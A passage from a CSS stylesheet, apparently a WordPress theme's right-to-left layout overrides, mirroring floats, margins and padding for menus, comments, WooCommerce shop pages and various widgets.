	-webkit-transform: translateX(40px);
}
.footer-subscribe .mc4wp-form .mdes {
	margin-left: 0;
	margin-right: -100px;
}
@media only screen and (max-width: 960px) {
	.footer-subscribe .mc4wp-form .mdes {
		margin-right: 0;
	}
}
#respond p.comment-form-author,
#respond p.comment-form-email,
#respond p.comment-form-url,
.footer-subscribe .mc4wp-form .memail,
.wpcf7 p.email,
.wpcf7 p.name,
.wpcf7 p.subject {
	float: right;
}
.footer-subscribe .mc4wp-form .msubmit {
	margin-right: 10px;
	margin-left: 0;
}
ul.footer-socials li {
	margin-left: 36px;
	margin-right: 0;
}
ul.footer-socials li a span {
	margin-right: 14px;
	margin-left: 0;
}
.container.penci-breadcrumb i {
	margin: 0 19px 0 15px;
}
.penci-breadcrumb .fa-angle-right:before {
	content: "";
}
.inner-post-entry .alignnone {
	margin: 5px 0 20px 20px;
}
.post-entry ol,
.post-entry ul {
	padding-right: 36px;
	padding-left: 0;
}
.post-entry ol ol,
.post-entry ol ul,
.post-entry ul ol,
.post-entry ul ul {
	margin: 2px 0;
	padding-right: 22px;
	padding-left: 0;
}
.wp-block-yoast-how-to-block ol.schema-how-to-steps {
	padding: 15px 32px 20px 20px;
}
#respond p.comment-form-author {
	margin-left: 2%;
}
#respond p.comment-form-url {
	margin-left: 0;
}
#respond .comment-form-cookies-consent input[type="checkbox"] {
	margin: 0 0 0 5px;
}
div.wpcf7 {
	direction: rtl;
}
.tags-share-box .single-comment-o i,
.tags-share-box.hide-tags.page-share .share-title {
	margin-left: 5px;
	margin-right: 0;
}
.post-share a {
	margin: 0 10px 0 0;
}
.post-entry blockquote .author span {
	padding: 0 0 0 10px;
}
#navigation .button-menu-mobile,
.penci-portfolio-filter ul li,
.post-entry .penci-portfolio-filter ul li,
ul.homepage-featured-boxes li {
	float: right;
}
.penci-countdown {
	direction: ltr;
}
.penci-column {
	margin-left: 4%;
	margin-right: 0;
	float: right;
}
.column-last {
	margin-left: 0 !important;
}
#sidebar-nav {
	transform: translateX(270px);
	-webkit-transform: translateX(270px);
	-moz-transform: translateX(270px);
}
.open-sidebar-nav #sidebar-nav {
	right: 270px;
	left: auto;
}
#close-sidebar-nav {
	left: 0;
	right: 0;
}
.open-sidebar-nav #close-sidebar-nav {
	right: 270px;
	left: 0;
}
.container.penci-breadcrumb span,
.container.penci-breadcrumb span a {
	display: inline-block;
}
.post-share a.penci-post-like:after {
	margin: 4px 20px 0 6px;
}
.tags-share-box .single-comment-o:after {
	margin: 4px 20px 0;
}
@media (min-width: 600px) {
	.wp-block-latest-posts.is-grid li {
		padding-right: 0;
		padding-left: 8px;
	}
}
.post-share,
.thecomment .comment-text span.reply {
	left: 0;
	right: auto;
}
.penci-featured-cat-seemore i,
.penci-readmore-btn i,
.post-share a.penci-post-like,
.woocommerce .widget_shopping_cart .cart_list li a.remove,
.woocommerce.widget_shopping_cart .cart_list li a.remove {
	margin-right: 5px;
	margin-left: 0;
}
.author-img {
	float: right;
	margin-left: 20px;
	margin-right: 0;
}
.post-author .author-content {
	margin-right: 120px;
	margin-left: 0;
}
.post-author.abio-style-3 .author-content,
.post-author.abio-style-4 .author-content {
	margin-left: 0;
	margin-right: 0;
}
.author-content .author-social,
.penci-post-box-meta .penci-box-meta i.fa,
.thecomment .comment-text span.date i {
	margin-left: 10px;
	margin-right: 0;
}
.thecomment .author-img {
	float: right;
	margin-left: 20px;
	margin-right: 0;
}
.thecomment .comment-text {
	margin-right: 80px;
	margin-left: 0;
}
.post-comments span.reply a {
	margin-right: 18px;
	margin-left: 0;
}
.comments .children,
.comments > .comment > .comment,
.comments > .comment > .comment > .comment,
.comments > .comment > .comment > .comment > .comment,
.comments > .comment > .comment > .comment > .comment > .comment {
	margin: 0 60px 0 0;
}
.post-pagination .prev-post,
.woocommerce #content table.cart td.actions,
.woocommerce table.cart td.actions,
.woocommerce-page #content table.cart td.actions,
.woocommerce-page table.cart td.actions {
	text-align: left;
}
.post-tags.penci-post-sources > span,
.container-single .post-entry .post-tags a {
	margin-left: 8px;
	margin-right: 0;
}
.standard-main-content {
	text-align: right;
}
.penci-post-box-meta .penci-post-share-box {
	float: left;
}
.penci-post-box-meta .penci-post-share-box a {
	margin-right: 10px;
	margin-left: 0;
}
.penci-post-box-meta .penci-post-share-box a:first-child {
	margin-right: 0;
}
.penci-post-box-meta .penci-box-meta span:after {
	margin: 0 20px 0 16px;
}
.penci-viewport {
	direction: ltr;
}
.penci-viewport * {
	direction: rtl;
}
.header-social a {
	float: right;
	margin-left: 13px;
	margin-right: 0;
}
.header-social a:last-child {
	margin-left: 0;
}
.penci-layout-boxed-1 .list-boxed-post .header-list-style:after,
.penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after,
.penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after {
	right: 50%;
	left: auto;
	margin-right: -30px;
	margin-left: 0;
}
.penci-pagination .newer .disable-url i,
.penci-pagination .newer a i {
	margin: 0 0 0 8px;
}
.penci-pagination .disable-url i,
.penci-pagination a i {
	margin-right: 8px;
	margin-left: 0;
}
.penci-pagination .newer .fa-angle-left:before {
	content: "";
}
.penci-pagination .older .fa-angle-right:before {
	content: "";
}
.mfp-title {
	text-align: right;
	padding-left: 36px;
	padding-right: 0;
}
.mfp-counter {
	left: 0;
	right: auto;
	direction: ltr;
}
.format-post-box .post-format-icon {
	margin-right: -36px;
	margin-left: 0;
}
.grid-mixed .thumbnail .icon-post-format,
.penci-grid li .item > .thumbnail .icon-post-format,
.penci-masonry .item-masonry > .thumbnail .icon-post-format {
	right: 50%;
	left: auto;
	margin: -25px -25px 0 0;
}
#add_payment_method #payment ul.payment_methods,
#add_payment_method #payment ul.payment_methods li,
#navigation ul.menu ul.sub-menu li a,
.navigation ul.menu ul.sub-menu li a,
.penci-featured-cat-seemore,
.penci-grid .mixed-detail .item-content,
.penci-grid li .item .item-content,
.penci-masonry .item-masonry .item-content,
.penci-readmore-btn,
.wishlist_table tr td.product-name,
.wishlist_table tr td.product-thumbnail,
.wishlist_table tr td.wishlist-name,
.wishlist_table tr td.wishlist-privacy,
.woocommerce #review_form #respond p.form-submit,
.woocommerce .page-title,
.woocommerce form.checkout_coupon,
.woocommerce form.login,
.woocommerce form.register,
.woocommerce table.shop_table,
.woocommerce table.wishlist_table tfoot td,
.woocommerce-cart #payment ul.payment_methods,
.woocommerce-cart #payment ul.payment_methods li,
.woocommerce-checkout #payment ul.payment_methods,
.woocommerce-checkout #payment ul.payment_methods li,
caption,
div.penci-topbar-menu > ul ul.sub-menu li a,
th,
ul.penci-topbar-menu ul.sub-menu li a {
	text-align: right;
}
.grid-mixed .grid-header-box:after,
.penci-post-box-meta.penci-post-box-grid:before,
.woocommerce .page-title:after,
.woocommerce .page-title:before,
.woocommerce div.product .entry-summary div[itemprop="description"]:before,
div.penci-topbar-menu > ul ul.sub-menu,
ul.penci-topbar-menu ul.sub-menu {
	right: 0;
	left: auto;
}
.grid-header-box:after {
	margin-right: -30px;
	margin-left: 0;
	right: 50%;
	left: auto;
}
.woocommerce-error,
.woocommerce-info,
.woocommerce-message {
	padding: 1em 3.5em 1em 2em !important;
}
.woocommerce-error:before,
.woocommerce-info:before,
.woocommerce-message:before {
	right: 1.5em;
	left: auto;
}
.penci-review-score {
	float: left;
}
.container .penci-grid li.magazine-layout .grid-header-box:after {
	right: 0;
	left: auto;
	margin-right: 0;
}
#sidebar-nav .menu li.menu-item-has-children a {
	padding-left: 17px;
	padding-right: 0;
}
#sidebar-nav .menu li a .indicator {
	left: 0;
	right: auto;
	text-align: left;
	padding: 11px 5px 11px 0;
}
#sidebar-nav ul.sub-menu {
	padding: 10px 12px 10px 0;
}
#sidebar-nav .menu .sub-menu li a .indicator {
	padding: 8px 5px 8px 0;
}
.penci-rlt-popup .rtlpopup-heading {
	text-align: right;
	padding: 8px 20px 8px 32px;
}
.penci-rlt-popup .penci-close-rltpopup {
	right: auto;
	left: 9px;
}
.overlay-post-box-meta .overlay-share i,
.woocommerce div.product p.price del,
.woocommerce div.product span.price del {
	margin-left: 10px;
	margin-right: 0;
}
.woocommerce-account .woocommerce-MyAccount-navigation {
	float: right;
}
.woocommerce-account .woocommerce-MyAccount-content {
	float: left;
}
.yith-wcwl-share ul {
	margin: 5px 0;
	padding: 0;
}
.woocommerce .woocommerce-result-count,
.woocommerce-page .woocommerce-result-count {
	float: right;
}
.woocommerce #content div.product #reviews .comment img,
.woocommerce .star-rating,
.woocommerce .woocommerce-ordering,
.woocommerce div.product #reviews .comment img,
.woocommerce-error .button,
.woocommerce-info .button,
.woocommerce-message .button,
.woocommerce-page #content div.product #reviews .comment img,
.woocommerce-page .woocommerce-ordering,
.woocommerce-page div.product #reviews .comment img {
	float: left;
}
.woocommerce ul.products li.product,
.woocommerce-page ul.products li.product {
	float: right;
	margin: 0 0 60px 2.565%;
}
.woocommerce .penci_sidebar ul.products li.product,
.woocommerce-page .penci_sidebar ul.products li.product {
	margin-left: 3.8465%;
	margin-right: 0;
}
.woocommerce .penci_sidebar ul.products > li.product:nth-child(4n + 4),
.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(4n + 4) {
	margin-left: 3.8465%;
	margin-right: 0;
}
.woocommerce ul.products li.product .onsale {
	left: 10px;
	right: auto;
}
.woocommerce .penci_sidebar ul.products > li.product:nth-child(3n + 3),
.woocommerce ul.products > li.product:nth-child(4n + 4),
.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(3n + 3),
.woocommerce-page ul.products > li.product:nth-child(4n + 4) {
	margin-left: 0;
}
.penci-recipe-heading .penci-recipe-meta span.servings,
.woocommerce ul.products li.last,
.woocommerce-page ul.products li.last {
	margin-left: 0;
}
.woocommerce .products .star-rating {
	right: 10px;
	left: auto;
}
.woocommerce .woocommerce-product-rating .star-rating {
	margin: 0.5em 0 0 4px;
	float: right;
}
.woocommerce div.product form.cart div.quantity {
	float: right;
	margin: 0 0 0 20px;
}
#add_payment_method .checkout .col-2 h3#ship-to-different-address,
.post-entry .penci-recipe-heading h2,
.woocommerce #content div.product div.thumbnails a,
.woocommerce #content table.cart td.actions .coupon,
.woocommerce #payment #place_order,
.woocommerce div.product div.thumbnails a,
.woocommerce div.product form.cart .button,
.woocommerce table.cart td.actions .coupon,
.woocommerce-account .addresses .title h3,
.woocommerce-cart .checkout .col-2 h3#ship-to-different-address,
.woocommerce-checkout .checkout .col-2 h3#ship-to-different-address,
.woocommerce-page #content div.product div.thumbnails a,
.woocommerce-page #content table.cart td.actions .coupon,
.woocommerce-page #payment #place_order,
.woocommerce-page div.product div.thumbnails a,
.woocommerce-page table.cart td.actions .coupon {
	float: right;
}
.woocommerce #content div.product div.thumbnails a,
.woocommerce #content div.product div.thumbnails a.last,
.woocommerce div.product div.thumbnails a,
.woocommerce div.product div.thumbnails a.last,
.woocommerce-page #content div.product div.thumbnails a,
.woocommerce-page #content div.product div.thumbnails a.last,
.woocommerce-page div.product div.thumbnails a,
.woocommerce-page div.product div.thumbnails a.last {
	margin-left: 5.25%;
	margin-right: 0;
}
.woocommerce #content div.product div.thumbnails a:nth-child(4n + 4),
.woocommerce div.product div.thumbnails a:nth-child(4n + 4),
.woocommerce-page #content div.product div.thumbnails a:nth-child(4n + 4),
.woocommerce-page div.product div.thumbnails a:nth-child(4n + 4) {
	margin-left: 0;
}
.woocommerce
	div.product
	.woocommerce-tabs
	.panel
	#respond
	h3.comment-reply-title,
.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
.woocommerce div.product .woocommerce-tabs .panel > h2:first-child {
	text-align: right;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
	float: right;
	right: 0;
	left: auto;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text {
	margin: 0 80px 0 0;
}
.woocommerce #respond input#submit.added:after,
.woocommerce a.button.added:after,
.woocommerce button.button.added:after,
.woocommerce input.button.added:after {
	margin-right: 0.53em;
	margin-left: 0;
}
.woocommerce #respond input#submit.loading:after,
.woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after {
	margin-left: 0;
	margin-right: 5px;
}
#add_payment_method table.cart td.actions .coupon .input-text,
.woocommerce-cart table.cart td.actions .coupon .input-text,
.woocommerce-checkout table.cart td.actions .coupon .input-text {
	float: right;
	margin: 0 0 0 4px;
}
.woocommerce form.login .form-row input[type="submit"],
.woocommerce-cart table.cart td.actions .coupon .input-text {
	margin-left: 20px;
	margin-right: 0;
}
#add_payment_method #payment ul.payment_methods li input,
.woocommerce-cart #payment ul.payment_methods li input,
.woocommerce-checkout #payment ul.payment_methods li input {
	margin: 0 0 0 1em;
}
.woocommerce form .form-row .input-checkbox {
	margin: -2px 0 0 8px;
}
.woocommerce #payment .terms,
.woocommerce #payment .wc-terms-and-conditions,
.woocommerce-page #payment .terms,
.woocommerce-page #payment .wc-terms-and-conditions {
	text-align: right;
	padding: 0 0 0 1em;
	float: right;
}
#add_payment_method .checkout .col-2 .form-row-first,
#add_payment_method .checkout .col-2 .notes,
.woocommerce-cart .checkout .col-2 .form-row-first,
.woocommerce-cart .checkout .col-2 .notes,
.woocommerce-checkout .checkout .col-2 .form-row-first,
.woocommerce-checkout .checkout .col-2 .notes {
	clear: right;
}
.woocommerce .order_details li {
	float: right;
	margin-left: 2em;
	margin-right: 0;
	border-left: 1px dashed #d3ced2;
	border-right: none;
	padding-right: 0;
	padding-left: 2em;
}
.woocommerce table.my_account_orders .order-actions {
	text-align: left;
}
.woocommerce table.my_account_orders .order-actions .button {
	margin: 0.125em 0.25em 0.125em 0;
}
.penci-recipe-heading a.penci-recipe-print,
.widget.widget_categories ul li span.category-item-count,
.woocommerce-account .addresses .title .edit,
.woocommerce-account ul.digital-downloads li .count {
	float: left;
}
.woocommerce div.product form.cart .variations select {
	margin-left: 1em;
	margin-right: 0;
}
.woocommerce div.product form.cart .variations td.label {
	padding-left: 1em;
	padding-right: 0;
}
#navigation.header-6 #logo,
.widget-social.show-text a {
	float: right;
	text-align: right;
}
#navigation.header-6 .menu {
	float: none;
}
#navigation.header-6 .pcheader-icon.shoping-cart-icon {
	margin-right: 40px;
	margin-left: 0;
}
#navigation.header-4 .pcheader-icon,
#navigation.header-4 .penci-menuhbg-toggle,
#navigation.header-5 .pcheader-icon,
#navigation.header-5 .penci-menuhbg-toggle,
#navigation.header-6 .pcheader-icon,
#navigation.header-6 .penci-menuhbg-toggle {
	margin-right: 15px;
	margin-left: 0;
}
#navigation.header-6 .container,
.woocommerce .widget_price_filter .price_slider_amount {
	text-align: left;
}
#navigation .menu > li:last-child,
#navigation .menu > ul > li:last-child,
div.penci-topbar-menu > ul > li:last-child,
ul.penci-topbar-menu > li:last-child {
	margin-left: 0;
}
.slick-slider {
	direction: ltr;
}
body.rtl .slick-slider .slick-slide {
	direction: rtl;
}
.penci-recipe-heading .penci-recipe-meta span,
.penci-review-metas .penci-review-meta {
	margin-left: 15px;
	margin-right: 0;
	display: inline-block;
}
.penci-recipe-heading .penci-recipe-meta span i,
.penci-review-metas .penci-review-meta i {
	margin-left: 4px;
	margin-right: 0;
}
.penci-review-thumb {
	float: right;
	margin-right: 0;
	margin-left: 20px;
}
.penci-review-btnbuyw {
	float: right;
}
.penci-recipe-ingredients ul li:before {
	right: -18px;
	left: auto;
}
.penci-recipe-ingredients ul {
	margin: 0;
}
.wrapper-penci-recipe .penci-recipe-method ol,
.wrapper-penci-recipe .penci-recipe-method ul {
	padding-right: 15px;
	padding-left: 0;
}
div.penci-topbar-menu > ul > li,
ul.penci-topbar-menu > li {
	float: right;
	margin-left: 25px;
	margin-right: 0;
}
.penci-pagination ul.page-numbers li a i {
	margin-right: 2px;
	margin-left: 0;
}
#navigation
	.penci-megamenu
	.penci-content-megamenu
	.penci-mega-latest-posts
	.penci-mega-post,
.navigation
	.penci-megamenu
	.penci-content-megamenu
	.penci-mega-latest-posts
	.penci-mega-post,
.penci-review-average,
.penci-review-stuff,
.penci-review-stuff .penci-review-good,
.woocommerce .widget_price_filter .price_slider_amount .button {
	float: right;
}
.penci-recipe-ingredients ul,
.penci-review .penci-review-good ul li {
	padding-right: 18px;
	padding-left: 0;
}
#navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,
.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,
.penci-review .penci-review-good ul li:before,
.quote-widget > i.fa,
.woocommerce .widget_shopping_cart .cart_list li a.remove,
.woocommerce.widget_shopping_cart .cart_list li a.remove {
	right: 0;
	left: auto !important;
}
.featured-carousel .carousel-meta span,
.woocommerce .widget_layered_nav ul li span {
	display: inline-block;
}
.featured-carousel .carousel-meta > span:after {
	margin: 0 15px 0 11px;
	border-right: 1px solid #888;
	border-left: none;
}
.quote-widget > p,
.widget ol ol,
.widget ul ul {
	padding-right: 20px;
	padding-left: 0;
}
.widget ul ul {
	padding-right: 20px;
}
.widget-social.show-text a span {
	margin-right: 10px;
	margin-left: 0;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
	margin: 0 0 0 20px;
	float: right;
}
.woocommerce .woocommerce-product-search input[type="search"] {
	background-position: 6% 15px;
	padding: 14px 20px 14px 43px;
}
.woocommerce .widget_shopping_cart .cart_list li,
.woocommerce.widget_shopping_cart .cart_list li {
	padding-left: 40px;
	padding-right: 0;
}
.woocommerce .widget_shopping_cart p.buttons a.checkout,
.woocommerce.widget_shopping_cart p.buttons a.checkout {
	margin-right: 16px;
	margin-left: 0;
}
.footer-widget-wrapper .widget .widget-title,
.penci-mag2-carousel .mag2-item .mag2-item .mag2-header {
	text-align: right;
}
.footer-widget-wrapper {
	margin-left: 3.5%;
	margin-right: 0;
	float: right;
}
.footer-widget-wrapper.footer-widget-style-4 {
	margin-right: 0;
	width: 22.75%;
	margin-left: 3%;
}
.footer-widget-wrapper.footer-widget-style-10 {
	margin-right: 0;
}
.footer-widget-wrapper.footer-widget-style-4.last,
.footer-widget-wrapper.last {
	margin-left: 0;
}
.penci-btn-readmore .fa-angle-double-right:before,
.penci-featured-cat-seemore i.fa-angle-double-right:before {
	content: "";
}
.footer-instagram h4.footer-instagram-title > span:before {
	margin-right: 0;
	margin-left: 8px;
}
#navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,
#navigation .penci-megamenu .penci-mega-child-categories:after,
.navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,
.navigation .penci-megamenu .penci-mega-child-categories:after {
	left: 0;
	right: auto;
}
#navigation.menu-style-2
	.penci-megamenu
	.penci-mega-child-categories
	a.cat-active:before,
.navigation.menu-style-2
	.penci-megamenu
	.penci-mega-child-categories
	a.cat-active:before {
	box-shadow: none;
	-webkit-box-shadow: none;
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after,
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after {
	right: 20px;
	left: auto;
}
#navigation .menu li a i,
.navigation .menu li a i {
	margin-right: 0;
	margin-left: 5px;
}
#navigation.menu-style-2
	ul.sub-menu
	.penci-megamenu
	.penci-mega-child-categories
	a,
.navigation.menu-style-2
	ul.sub-menu
	.penci-megamenu
	.penci-mega-child-categories
	a {
	padding: 6px 20px 6px 0;
	text-align: right;
}
#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a,
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
	text-align: left;
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span,
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span {
	padding-left: 20px;
	padding-right: 0;
}
body.rtl .cat > a.penci-cat-name {
	margin: 0 0 0 15px;
	padding-left: 10px;
	padding-right: 0;
}
body.rtl .cat > a.penci-cat-name:first-child {
	margin-right: 0;
	margin-left: 18px;
}
body.rtl .cat > a.penci-cat-name:last-child {
	margin-left: 0;
	padding-left: 0;
}
body.rtl .cat > a.penci-cat-name:after {
	margin-left: 0;
	margin-right: 11px;
}
body.rtl .penci-single-style-10 .header-standard,
body.rtl .penci-single-style-10 .post-box-meta-single {
	text-align: right;
}
body.rtl .penci-bgrid-based-post.pcbg-mask-subtitle .cat > a.penci-cat-name {
	margin-left: 5px;
	margin-right: 0;
}
body.rtl
	.penci-bgrid-based-post.pcbg-mask-subtitle
	.cat
	> a.penci-cat-name:last-child {
	margin-left: 0;
}
.penci_is_nosidebar .alignfull,
.penci_is_nosidebar .wp-block-cover-image.alignfull,
.penci_is_nosidebar .wp-block-cover.alignfull,
.penci_is_nosidebar .wp-block-gallery.alignfull,
.penci_is_nosidebar .wp-block-image.alignfull {
	margin-right: calc(50% - 50vw);
	margin-left: 0;
}
.penci_is_nosidebar .alignwide,
.penci_is_nosidebar .wp-block-cover-image.alignwide,
.penci_is_nosidebar .wp-block-cover.alignwide,
.penci_is_nosidebar .wp-block-gallery.alignwide,
.penci_is_nosidebar .wp-block-image.alignwide {
	margin-right: calc(25% - 25vw);
	margin-left: 0;
}
.penci-menu-hbg-inner .header-social.sidebar-nav-social,
.penci_menu_hbg_ftext {
	text-align: right;
}
@media only screen and (max-width: 767px) {
	.penci_is_nosidebar .alignwide,
	.penci_is_nosidebar .wp-block-cover-image.alignwide,
	.penci_is_nosidebar .wp-block-cover.alignwide,
	.penci_is_nosidebar .wp-block-gallery.alignwide,
	.penci_is_nosidebar .wp-block-image.alignwide {
		margin-right: calc(50% - 50vw);
		margin-left: 0;
	}
}
.wp-block-latest-posts {
	padding: 16px 36px 16px 20px !important;
}
.wp-block-separator.is-style-dots:before {
	padding-right: 0;
	padding-left: 2em;
}
@media (min-width: 600px) {
	.wp-block-columns .wp-block-column:last-child {
		margin-right: 32px;
		margin-left: 0;
	}
}
.penci-slider_btnwrap .pencislider-btn:not(:last-child) {
	margin-right: 0;
	margin-left: 15px;
}
.penci-countdown-section {
	float: right;
}
.penci-working-hours .penci-workingh-lists .penci-listitem-icon {
	padding-right: 1px;
	padding-left: 10px;
}
.penci-working-hours .penci-workingh-lists .penci-listitem-hours {
	padding-left: 0;
	padding-right: 10px;
}
.penci-working-hours .penci-workingh-lists .penci-listitem-title:before {
	right: 100%;
	margin-left: 0;
	margin-right: 10px;
}
.penci-progress-bar .penci-probar-items .penci-probar-score {
	float: left;
	text-align: left;
}
.penci-socialCT-s1 .penci-social-button,
.penci-socialCT-s2 .penci-social-button {
	float: left;
}
.penci-socialCT-s2 .penci-socialCT-item,
.penci-socialCT-s3 .penci-socialCT-item,
.penci-socialCT-s4 .penci-socialCT-item,
.penci-socialCT-s5 .penci-socialCT-item,
.penci-weather-now,
.penci-weather-section {
	float: right;
}
.penci-socialCT-s1 .penci-social-name {
	margin-right: 0;
	margin-left: 15px;
}
.penci-socialCT-wrap i {
	margin-right: 0;
	margin-left: 10px;
}
.penci-socialCT-wrap .penci-social-button span {
	margin-right: 5px;
	float: left;
}
.penci_clouds {
	text-align: right;
	padding-left: 0;
	padding-right: 10px;
}
.penci_humidty {
	text-align: left;
	padding-right: 0;
	padding-left: 10px;
}
.penci-weather-information i {
	margin-left: 5px;
	margin-right: 0;
}
.penci-weather-lo-hi__content .penci-circle {
	padding-left: 3px;
	padding-right: 3px;
}
.penci-weather-days {
	float: right;
}
.penci-testi-s2 .penci-testimonail {
	text-align: right;
}
.penci-testi-s2 .penci-testi-avatar {
	margin-left: 0;
	margin-right: 30px;
}
.penci-post-box-meta .penci-box-meta a,
.penci-post-box-meta .penci-box-meta span {
	display: inline-block;
}
.penci-ibox-float-left .penci-ibox-inner {
	text-align: right;
}
.penci-ibox-float-left .penci-ibox-icon,
.penci-video_playlist .penci-media-obj .penci-mobj-img {
	margin-right: 0;
	margin-left: 20px;
}
.penci-ibox-float-right .penci-ibox-icon {
	margin-left: 0;
	margin-right: 20px;
}
.penci-ibox-float-right .penci-ibox-inner {
	text-align: left;
}
.penci-ibox-top-right .penci-ibox-inner {
	text-align: left;
	float: left;
}
.penci-ibox-top-left .penci-ibox-inner {
	text-align: right;
	float: right;
}
.penci-video_playlist .penci-video-nav {
	float: left;
	right: auto;
	left: 0;
}
.penci-video_playlist .penci-video-nav .playlist-panel-item {
	float: right;
	text-align: right;
}
.penci-video_playlist .penci-video-playlist-item .penci-video-duration {
	float: right;
}
.pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,
.pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item {
	left: auto;
	right: 0;
}
.pcilrp-flex .pcilrp-thumb {
	margin: 0 0 0 20px;
}
.pcilrt-thumbright .pcilrp-flex .pcilrp-thumb {
	margin: 0 20px 0 0;
}
.pcilrp-meta span {
	margin: 0 0 0 10px;
}
.pcilrp-meta span:last-child {
	margin-left: 0;
}
.pcilrp-meta i {
	margin: 0 0 0 5px;
}
.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content {
	padding-left: 0;
	padding-right: 18px;
}
@media only screen and (max-width: 1169px) {
	.penci-headline .pctopbar-item {
		float: none;
		margin-left: 0 !important;
		margin-right: 0 !important;
	}
	.penci-headline .pctopbar-item.penci-topbar-trending {
		margin-left: auto !important;
		margin-right: auto !important;
	}
}
@media only screen and (min-width: 768px) {
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail {
		width: 53.75%;
		padding-left: 0;
		padding-right: 30px;
		float: left;
	}
	.penci-featured-cat-sc
		.home-featured-cat-content.style-6
		.mag-post-box.first-post
		.magcat-detail {
		padding-left: 0;
		padding-right: 30px;
		float: left;
	}
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb,
	.penci-featured-cat-sc
		.home-featured-cat-content.style-6
		.mag-post-box.first-post
		.magcat-thumb {
		float: right;
	}
	.penci-grid li.list-post .item .content-list-right {
		padding-right: 30px;
		padding-left: 0;
		width: 53.75%;
		float: left;
	}
}
@media only screen and (max-width: 1169px) and (min-width: 961px) {
	#navigation.header-4 .pcheader-icon,
	#navigation.header-5 .pcheader-icon,
	#navigation.header-6 .pcheader-icon,
	#navigation.header-6 .pcheader-icon.shoping-cart-icon {
		margin-right: 26px;
		margin-left: 0;
	}
	#navigation .menu > ul > li,
	#navigation ul.menu > li,
	.navigation .menu > ul > li,
	.navigation ul.menu > li {
		margin-left: 26px;
		margin-right: 0;
	}
	.container.has-banner #logo {
		padding-left: 30px;
		padding-right: 0;
	}
}
@media only screen and (max-width: 960px) {
	#navigation.header-4 .container .pcheader-icon,
	#navigation.header-5 .container .pcheader-icon,
	#navigation.header-6 .container .pcheader-icon {
		margin-right: 15px;
		margin-left: 0;
	}
	#navigation.header-6 #logo {
		float: none;
	}
	#navigation.header-6 .container {
		text-align: center;
	}
	.footer-widget-wrapper {
		margin: 0 0 30px;
		float: none;
	}
}
@media only screen and (max-width: 960px) and (min-width: 768px) {
	.woocommerce ul.products li.product,
	.woocommerce-page ul.products li.product {
		margin-right: 0;
		margin-left: 3.8465%;
	}
	.woocommerce ul.products > li.product:nth-child(4n + 4),
	.woocommerce-page ul.products > li.product:nth-child(4n + 4) {
		margin-left: 3.8465%;
		margin-right: 0;
	}
	.woocommerce ul.products > li.product:nth-child(3n + 3),
	.woocommerce-page ul.products > li.product:nth-child(3n + 3) {
		margin-left: 0;
	}
	.penci-grid > li:nth-of-type(3n + 3) {
		margin-left: 3.9%;
		margin-right: 0;
	}
	.penci-grid > li {
		width: 48.05%;
		margin-left: 3.9%;
		margin-right: 0;
	}
	.penci-grid li:nth-of-type(2n + 2) {
		margin-left: 0;
	}
}
@media only screen and (max-width: 768px) {
	.woocommerce table.shop_table_responsive tr td,
	.woocommerce-page table.shop_table_responsive tr td {
		text-align: left !important;
	}
	.woocommerce table.shop_table_responsive tr td:before,
	.woocommerce-page table.shop_table_responsive tr td:before {
		float: right;
	}
	.woocommerce #content table.cart td.actions .coupon .button.alt,
	.woocommerce #content table.cart td.actions .coupon .input-text + .button,
	.woocommerce table.cart td.actions .coupon .button.alt,
	.woocommerce table.cart td.actions .coupon .input-text + .button,
	.woocommerce-page #content table.cart td.actions .coupon .button.alt,
	.woocommerce-page
		#content
		table.cart
		td.actions
		.coupon
		.input-text
		+ .button,
	.woocommerce-page table.cart td.actions .coupon .button.alt,
	.woocommerce-page table.cart td.actions .coupon .input-text + .button {
		float: left;
	}
	.woocommerce #content table.cart td.actions .coupon,
	.woocommerce table.cart td.actions .coupon,
	.woocommerce-page #content table.cart td.actions .coupon,
	.woocommerce-page table.cart td.actions .coupon {
		float: none;
	}
	.woocommerce .cart-collaterals .cart_totals,
	.woocommerce .cart-collaterals .cross-sells,
	.woocommerce .cart-collaterals .shipping_calculator,
	.woocommerce-page .cart-collaterals .cart_totals,
	.woocommerce-page .cart-collaterals .cross-sells,
	.woocommerce-page .cart-collaterals .shipping_calculator {
		float: none;
		text-align: right;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_sidebar ul.products li.product,
	.woocommerce ul.products li.product,
	.woocommerce-page .penci_sidebar ul.products li.product,
	.woocommerce-page ul.products li.product {
		margin-left: 4%;
		margin-right: 0;
	}
	.woocommerce .penci_sidebar ul.products > li.product:nth-child(3n + 3),
	.woocommerce-page
		.penci_sidebar
		ul.products
		> li.product:nth-child(3n + 3) {
		margin-left: 4%;
		margin-right: 0;
	}
	.woocommerce .penci_sidebar ul.products > li.product:nth-child(2n + 2),
	.woocommerce ul.products li.product:nth-child(2n + 2),
	.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(2n + 2),
	.woocommerce-page ul.products li.product:nth-child(2n + 2) {
		margin-left: 0;
	}
	.woocommerce-account .woocommerce-MyAccount-content,
	.woocommerce-account .woocommerce-MyAccount-navigation {
		float: none;
	}
	.thecomment .comment-text,
	.woocommerce #reviews #comments ol.commentlist li .comment-text {
		margin-right: 0;
	}
	.penci-grid li {
		margin-left: 0 !important;
	}
